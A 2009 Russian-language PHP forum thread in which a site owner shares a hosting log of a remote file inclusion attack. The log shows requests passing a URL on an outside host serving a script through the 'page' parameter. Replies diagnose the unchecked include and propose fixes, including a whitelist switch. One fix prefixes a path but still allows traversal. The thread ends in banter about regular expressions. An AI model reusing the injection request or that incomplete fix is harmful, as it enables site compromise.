[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Взломали сайт
Гость_Дмитрий
Вопрос такой. У меня на хостинге peterhost.ru размещен свой сайт (портфолио). Недавно он перестал работать. Я обратился в службу техподдержки и мне сказали, что сайт был взломан, вся информация о взломе в файле hack.log (ниже приведу его листинг). Велели устранить уязвимость и дать знать им. Я, если честно, даже и не представляю где там может быть уязвимость.

Текст файла:

batmast 4889 0.0 0.5 800904 43752 ?? IV 2:32AM 0:00.23 httpd: batmast - www.batmaster.ru - GET /index.php?page=http://asaf.in/phpb.txt? HTTP/1.0 (
batmast 52916 0.0 0.0 777516 2012 ?? IV Sun05PM 0:00.13 httpd: batmast - www.batmaster.ru - GET /index.php?page=http://asaf.in/phpb.txt? HTTP/1.0 (
batmast 64710 0.0 0.0 0 0 ?? Z Sun06PM 0:00.08 <defunct>
batmast 64715 0.0 0.0 23732 1124 ?? I Sun06PM 0:00.59 httpds (perl5.8.8)

(batmast - это мой логин)

Все адреса у меня имеют формат типа такого batmaster.ru/index.php?page=main (т.е. например страница main).

Подскажите, что делать




Спустя 23 минуты, 39 секунд (17.02.2009 - 11:07) kirik написал(а):
Гость_Дмитрий, по адресу ходили? _http://asaf.in/phpb.txt

А как именно взломали? Удалили?
Похоже что с вашего сайта отправлялся спам..

Спустя 7 минут, 41 секунда (17.02.2009 - 11:15) Guest написал(а):
Вот и именно что не знаю как взломали. Хостинг просто заблокировал сайт. По адресу http://asaf.in/phpb.txt скрипт какой-то

Спустя 12 минут, 58 секунд (17.02.2009 - 11:28) kirik написал(а):
Цитата (Guest @ 17.02.2009 - 03:15)
Хостинг просто заблокировал сайт.

Скорее всего хостеру не это и не понравилось smile.gif
Вероятно дырка - возможность инклюда любго файла через переменную $_GET['page'].
Проверяйте ВСЕ входящие переменные!

Спустя 7 минут, 53 секунды (17.02.2009 - 11:36) Guest написал(а):
Ок. Спасибо. Думаю так и есть

Спустя 7 минут, 16 секунд (17.02.2009 - 11:43) Guest написал(а):
А как можн его проверить? Мне приходит в голову:
1. Чтобы не было никаких слешов, http
2. Чтобы данный файл был в моей файловой системе

что еще?...

Спустя 3 часа, 51 минута, 57 секунд (17.02.2009 - 15:35) FatCat написал(а):
Если файлы на том же сервере, нет смысла инклюдить по хттп, разумне сделать что-то типа:
PHP
$path "./home/tram-pam-pam/";
include 
$path.$_GET['page'];


Если файлы с других серверов, разумней список всех разрешенных к инклюду файлов загнать в массив, а в адресной строке передавать номер элемента массива.

Спустя 9 часов, 9 минут, 32 секунды (18.02.2009 - 00:44) jetistyum написал(а):
Тут бы хоть проверку на существование страницы добавить, а то может показывать эрроры на неправильных адресах....
PHP
$path "./home/tram-pam-pam/";
include 
$path.$_GET['page'];


ну я бы лучше просто проверял запрашиваемую страницу.... и подключал соотв. файл, например
PHP
switch($psge) {
case 
'guestbook':
case 
'gb':
include 
'lib_guestbook.php';
break;
... 
default: 
include 
'404.php';
break;
}

тогда совсем не обязательно привязывать название страницы к названию файла. и легко можно защититься от ненужных вызовов.


Спустя 25 дней, 21 час, 42 минуты, 26 секунд (13.03.2009 - 22:27) villy написал(а):
надо проверку параметров сделать с помощью регулярных выражений...если у тебя в параметре должно быть число так и проверь как нить так:
если в $page номер строки( к примеру)
$page=preg_replace('/[^0-9]/',"",$page); любой символ отлчиный отцфры будет удаляться...а все текстовые данные полученные от пользователя должны обрабатываться с помощью htmlspecilchars()...
и при объявлении переменных нужно давать им значения ВСЕГДА...
к примеру
****************
$a=array();
какие-нибудь операции с массивом...smile.gif
****************

Спустя 1 час, 37 минут, 38 секунд (14.03.2009 - 00:05) kirik написал(а):
Цитата (villy @ 13.03.2009 - 14:27)
надо проверку параметров сделать с помощью регулярных выражений...если у тебя в параметре должно быть число

blink.gif прально! is_numeric();, (int) от лукавого!

Спустя 2 часа, 6 минут, 20 секунд (14.03.2009 - 02:11) waldicom написал(а):
Цитата (kirik @ 13.03.2009 - 22:05)
Цитата (villy @ 13.03.2009 - 14:27)
надо проверку параметров сделать с помощью регулярных выражений...если у тебя в параметре должно быть число

blink.gif прально! is_numeric();, (int) от лукавого!

Очень интересует прчему?

Спустя 53 минуты, 16 секунд (14.03.2009 - 03:04) kirik написал(а):
Цитата (waldicom @ 13.03.2009 - 18:11)
Очень интересует прчему?

Будущее за регулярками!

Спустя 9 часов, 1 минута, 23 секунды (14.03.2009 - 12:06) Sylex написал(а):
пипец.. какие нахрен регулярки?

для чего придуманы простые спец. функции/конструкции?!

Спустя 1 час, 4 минуты, 59 секунд (14.03.2009 - 13:11) villy написал(а):
я тоже за регулярки....мы не ищем легких путей!!!:)))))

Спустя 7 часов, 6 минут, 3 секунды (14.03.2009 - 20:17) kirik написал(а):
Sylex, ты ничего не понимаешь! Регулярки это быстро, регулярки это красиво, регулярки это весело (и вкусно)! smile.gif

Спустя 13 минут, 18 секунд (14.03.2009 - 20:30) Viking написал(а):
+ код становится проще для сопровождения - регулярку легче найти, чем какое-то там (int)
+ надо стремиться к единому стандарту, а то простых функций слишком много (intval(),(int),is_numeric() и т.д.) и каждый использует свой вариант, это нехорошо, пусть у всех будут регулярки

Спустя 5 минут, 20 секунд (14.03.2009 - 20:35) waldicom написал(а):
Цитата
Регулярки это быстро, регулярки это красиво, регулярки это весело (и вкусно)! smile.gif

выделенное жирным вызывает недоверие

Спустя 33 секунды (14.03.2009 - 20:36) twin написал(а):
Больше регулярок, хороших и разных! smile.gif
Я, помнится, когда начинал, трудностей не боялся. И даже сделал (работающую!!!) Подсветку синтаксиса на регулярках, не зная про функцию highlight_string().
Долой матчасть! Пробьём головой стену!!! smile.gif

Спустя 4 минуты, 41 секунда (14.03.2009 - 20:40) Viking написал(а):
Цитата
выделенное жирным вызывает недоверие

при современном оборудовании это не существенно, если нужна производительность - надо на СиПиПи кодить!

+ те, кто раньше программировал на перле будут чувствовать себя привычнее и уютнее

давайте напишем разработчикам коллективное письмо с требованием исключить из php6 все функции, которые можно заменить регулярками!!!

Спустя 3 минуты, 50 секунд (14.03.2009 - 20:44) waldicom написал(а):
Цитата
при современном оборудовании это не существенно...

хорошая шутка...

Цитата
давайте напишем разработчикам коллективное письмо с требованием исключить из php6 все функции, которые можно заменить регулярками!!!

шутка еще лучше

Спустя 48 минут, 35 секунд (14.03.2009 - 21:33) villy написал(а):
+1 to kirik smile.gif

Спустя 23 минуты, 27 секунд (14.03.2009 - 21:56) kirik написал(а):
да!
Еще нужно не забыть напечатать футболок и значков с регулярными выражениями!

Спустя 9 часов, 49 минут, 28 секунд (15.03.2009 - 07:46) Sylex написал(а):
laugh.gif
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.